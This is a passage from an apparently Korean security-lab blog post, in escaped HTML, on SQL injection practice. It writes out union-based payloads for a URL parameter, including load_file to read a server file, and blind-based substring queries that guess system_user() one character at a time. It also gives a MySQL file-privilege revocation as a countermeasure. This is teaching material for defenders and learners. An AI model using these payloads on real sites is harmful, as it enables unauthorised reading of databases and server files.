&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;796&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2URns/btsLgtn2fh6/UOfoCnztukQuMIFP8XYkG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2URns/btsLgtn2fh6/UOfoCnztukQuMIFP8XYkG0/img.png&quot; data-alt=&quot;URL 인코딩 전&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2URns/btsLgtn2fh6/UOfoCnztukQuMIFP8XYkG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2URns%2FbtsLgtn2fh6%2FUOfoCnztukQuMIFP8XYkG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;936&quot; height=&quot;796&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;796&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;URL 인코딩 전&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;796&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEGNdS/btsLeKSpk2C/AZFuHN99YkkHk26h0uQA7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEGNdS/btsLeKSpk2C/AZFuHN99YkkHk26h0uQA7k/img.png&quot; data-alt=&quot;URL 인코딩 후&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEGNdS/btsLeKSpk2C/AZFuHN99YkkHk26h0uQA7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEGNdS%2FbtsLeKSpk2C%2FAZFuHN99YkkHk26h0uQA7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;937&quot; height=&quot;796&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;796&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;URL 인코딩 후&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Send 후 Response 값을 보면 index.php 소스코드가 확인된다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;843&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Lac97/btsLfAVO5RT/UcGJrFykCK7owpwxqZxRLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Lac97/btsLfAVO5RT/UcGJrFykCK7owpwxqZxRLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Lac97/btsLfAVO5RT/UcGJrFykCK7owpwxqZxRLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLac97%2FbtsLfAVO5RT%2FUcGJrFykCK7owpwxqZxRLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;929&quot; height=&quot;843&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;843&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이처럼 파일이나 소스코드 열람 같은 경우에는 WAS와 DBMS가 물리적으로 동일한 서버 내에 존재해야 가능한 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 내 상세 페이지 확인의 URL 부분에서도 SQL Injection 공격이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 게시글 클릭 후 상단 URL의 idx 부분에 order by 10%23 을 입력하면 에러가 발생하게된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;%23은 #을 URL 인코딩 한 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1293&quot; data-origin-height=&quot;280&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYOGdK/btsLglKo250/VKijM76GIeFyWTDNFKOiZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYOGdK/btsLglKo250/VKijM76GIeFyWTDNFKOiZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYOGdK/btsLglKo250/VKijM76GIeFyWTDNFKOiZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYOGdK%2FbtsLglKo250%2FVKijM76GIeFyWTDNFKOiZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1293&quot; height=&quot;280&quot; data-origin-width=&quot;1293&quot; data-origin-height=&quot;280&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx 부분에 order by 9%23 을 입력하면 그대로 test 게시글이 확인되는 것을 통해 SQL Injection 취약점이 존재하는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1530&quot; data-origin-height=&quot;661&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cMNgjl/btsLe4pxMYr/KL0Vb5af9YuaKjQZf904q1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cMNgjl/btsLe4pxMYr/KL0Vb5af9YuaKjQZf904q1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cMNgjl/btsLe4pxMYr/KL0Vb5af9YuaKjQZf904q1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcMNgjl%2FbtsLe4pxMYr%2FKL0Vb5af9YuaKjQZf904q1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1530&quot; height=&quot;661&quot; data-origin-width=&quot;1530&quot; data-origin-height=&quot;661&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx 부분에 and 1=2 union select null,null,null,null,null,null,null,null,null%23 을 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;null 값이므로 공란이 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1555&quot; data-origin-height=&quot;655&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQsTRm/btsLeN2EBs6/vIaJCinOgvqkHIkdQMvyK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQsTRm/btsLeN2EBs6/vIaJCinOgvqkHIkdQMvyK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQsTRm/btsLeN2EBs6/vIaJCinOgvqkHIkdQMvyK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQsTRm%2FbtsLeN2EBs6%2FvIaJCinOgvqkHIkdQMvyK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1555&quot; height=&quot;655&quot; data-origin-width=&quot;1555&quot; data-origin-height=&quot;655&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx 부분에 and 1=2 union select null,'test',null,null,null,null,null,null,null%23 을 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Title 에 test 문자열이 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1570&quot; data-origin-height=&quot;678&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZTY9u/btsLgof3vSw/tdc9iIdWQhShuDU4a5Suo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZTY9u/btsLgof3vSw/tdc9iIdWQhShuDU4a5Suo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZTY9u/btsLgof3vSw/tdc9iIdWQhShuDU4a5Suo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZTY9u%2FbtsLgof3vSw%2Ftdc9iIdWQhShuDU4a5Suo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1570&quot; height=&quot;678&quot; data-origin-width=&quot;1570&quot; data-origin-height=&quot;678&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;idx 부분에 and 1=2 union select null,load_file('/information/secret_info.txt'),null,null,null,null,null,null,null%23 을 입력한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Title 에 secret_info.txt 파일 내 문자열이 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1582&quot; data-origin-height=&quot;642&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6QgVD/btsLgoUFb9y/VKV7GANTfGjobYtnRe7MG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6QgVD/btsLgoUFb9y/VKV7GANTfGjobYtnRe7MG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6QgVD/btsLgoUFb9y/VKV7GANTfGjobYtnRe7MG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6QgVD%2FbtsLgoUFb9y%2FVKV7GANTfGjobYtnRe7MG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1582&quot; height=&quot;642&quot; data-origin-width=&quot;1582&quot; data-origin-height=&quot;642&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;load_file 을 활용한 무단 열람 대응 방법&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1) SQL Injection 대한 방어&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2) 파일 권한 제거&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;update mysql.user set file_priv='N' where user='root';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;flush privileges;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이때 주의사항은 어플리케이션과 연동된 DB 계정의 권한을 제거해야한다. 다른 계정을 제거하면 의미가 없다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;MySQL에서 root 계정의 load_file 권한을 제거 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;536&quot; data-origin-height=&quot;128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bG0UZB/btsLgfQ7hGx/KCx7QlOKTi6huszn4sYbX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bG0UZB/btsLgfQ7hGx/KCx7QlOKTi6huszn4sYbX0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bG0UZB/btsLgfQ7hGx/KCx7QlOKTi6huszn4sYbX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbG0UZB%2FbtsLgfQ7hGx%2FKCx7QlOKTi6huszn4sYbX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;536&quot; height=&quot;128&quot; data-origin-width=&quot;536&quot; data-origin-height=&quot;128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;다시 웹 페이지에서 파일 열람을 시도한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;idx 부분에&lt;span&gt;&amp;nbsp;&lt;/span&gt;and 1=2 union select null,load_file('/information/secret_info.txt'),null,null,null,null,null,null,null%23 을 입력한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;아래 그림과 같이 아무 것도 출력되지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1561&quot; data-origin-height=&quot;687&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfQMbV/btsLeO8jKHH/4BdONMDJCauLZfI0Ufu521/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfQMbV/btsLeO8jKHH/4BdONMDJCauLZfI0Ufu521/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfQMbV/btsLeO8jKHH/4BdONMDJCauLZfI0Ufu521/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfQMbV%2FbtsLeO8jKHH%2F4BdONMDJCauLZfI0Ufu521%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1561&quot; height=&quot;687&quot; data-origin-width=&quot;1561&quot; data-origin-height=&quot;687&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;BLIND-BASED 공격이란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;889&quot; data-origin-height=&quot;430&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dDnDvb/btsLiLP7eEl/3QwYkzKbIELB8PTMVgZw8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dDnDvb/btsLiLP7eEl/3QwYkzKbIELB8PTMVgZw8k/img.png&quot; data-alt=&quot;Blind-Based 공격&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dDnDvb/btsLiLP7eEl/3QwYkzKbIELB8PTMVgZw8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdDnDvb%2FbtsLiLP7eEl%2F3QwYkzKbIELB8PTMVgZw8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;889&quot; height=&quot;430&quot; data-origin-width=&quot;889&quot; data-origin-height=&quot;430&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Blind-Based 공격&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Blind-Based 공격은 DBMS 에러가 발생하지 않는 환경에서 SQL Injection 공격을 하기 위한 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DBMS 에러가 발생하지 않는다는 것은 Error-Based 공격이 불가능하다는 의미이며, Union-Based 공격이 불가능한 경우에도 Blind-Based 공격을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 우선순위는 다음과 같다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) Union-Based&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) Error-Based&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) Blind-Based&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Blind-Based 공격은 속도가 느리고 답답하지만, 현재까지 가장 많이 사용하는 SQL Injection 공격 기법 중 하나이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Union-Based 와 Error-Based 공격이 가능한 환경이 많이 없기 때문에 Blind-Based 공격의 사용 빈도가 높다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Union-Based 공격은 DB 내 데이터가 웹 페이지에 출력되어야 하며, Union 구문 특성 상 제일 뒤에 배치되어야 공격이 가능하다. 그러므로 SQL 쿼리 구성의 영향을 받게된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Error-Based 공격은 DBMS 에러가 발생해야 공격이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 특징들을 종합했을 때 Blind-Based 공격은 SQL Injection 취약점이 존재하는 상황에서 대부분 활용 가능한 공격이므로 사용 빈도가 높을수 밖에 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Error-Based 와 Union-Based 공격은 데이터 크기와 상관없이 한번에 데이터를 출력할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Error-Based 공격은 1개의 레코드에서 1개의 컬럼 데이터가 출력된다. (데이터가 몇 Byte 인지 상관없이 반환)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Union-Based 공격은 다수의 레코드가 한번에 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Blind-Based 공격은 1개의 문자(1 Byte)를 추론하기 위해 7번의 요청을 해야 하며, 응답값 분석을 통해서 1 Byte에 있는 아스키 코드가 무엇인지 추론하는 공격이다. &amp;rarr; 응답값을 통해 데이터를 추론&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;데이터 추론 기법 종류&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Type 1 : 순차 탐색 &amp;rarr; 문자열을 1개씩 비교해서 참과 거짓으로 데이터를 추론&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Type 2 : 이진 탐색 &amp;rarr; 데이터 범위에 해당 하는 숫자에서 중간값 지정 후 크기 비교 하여 데이터를 추론&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Type 3 : 비트 단위 탐색 &amp;rarr; AND 비트연산을 통해 데이터를 추론, 십진수를 이진수로 변환 후 AND 비트연산&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습2-8 BLIND-BASED 데이터 추론 기법에 대한 이해&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CMD 창 열고 MySQL 로그인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pentest 데이터베이스 내 members 테이블과 연결된 웹 페이지에 SQL Injection 취약점이 존재한다고 가정한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;753&quot; data-origin-height=&quot;287&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boceZM/btsLmON852n/1C91Df6DmENuxeCcKsAKiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boceZM/btsLmON852n/1C91Df6DmENuxeCcKsAKiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boceZM/btsLmON852n/1C91Df6DmENuxeCcKsAKiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboceZM%2FbtsLmON852n%2F1C91Df6DmENuxeCcKsAKiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;753&quot; height=&quot;287&quot; data-origin-width=&quot;753&quot; data-origin-height=&quot;287&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and 1=1; &amp;rarr; 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and 1=2; &amp;rarr; 거짓&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;513&quot; data-origin-height=&quot;177&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q8TaP/btsLnxSvsTl/GgKYR6cAL8KZBikC68bKW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q8TaP/btsLnxSvsTl/GgKYR6cAL8KZBikC68bKW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q8TaP/btsLnxSvsTl/GgKYR6cAL8KZBikC68bKW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq8TaP%2FbtsLnxSvsTl%2FGgKYR6cAL8KZBikC68bKW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;513&quot; height=&quot;177&quot; data-origin-width=&quot;513&quot; data-origin-height=&quot;177&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알아내야 할 정보는 사용자명 system_user() 로 가정한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Blind-Based 공격은 한번에 알아내기 어렵기 때문에 다수의 공격 시도가 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1) 순차 탐색 &amp;rarr; substring 사용, 속도가 느리다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;substring([대상 쿼리], N, 1)='a'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and substring(system_user(),1,1)='a';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명의 첫번째 글자가 a 가 맞는지 확인&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select id from members where id='test' and substring(system_user(),1,1)='b';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자명의 첫번째 글자가 b 가 맞는지 확인&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 c,d,e,f 등 순차적으로 글자를 삽입하여 참이되는 결과값이 나올때 까지 공격을 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;r 을 삽입하니 참이되는 결과값이 나오는 것을 알 수 있다.&lt;/p&gt;
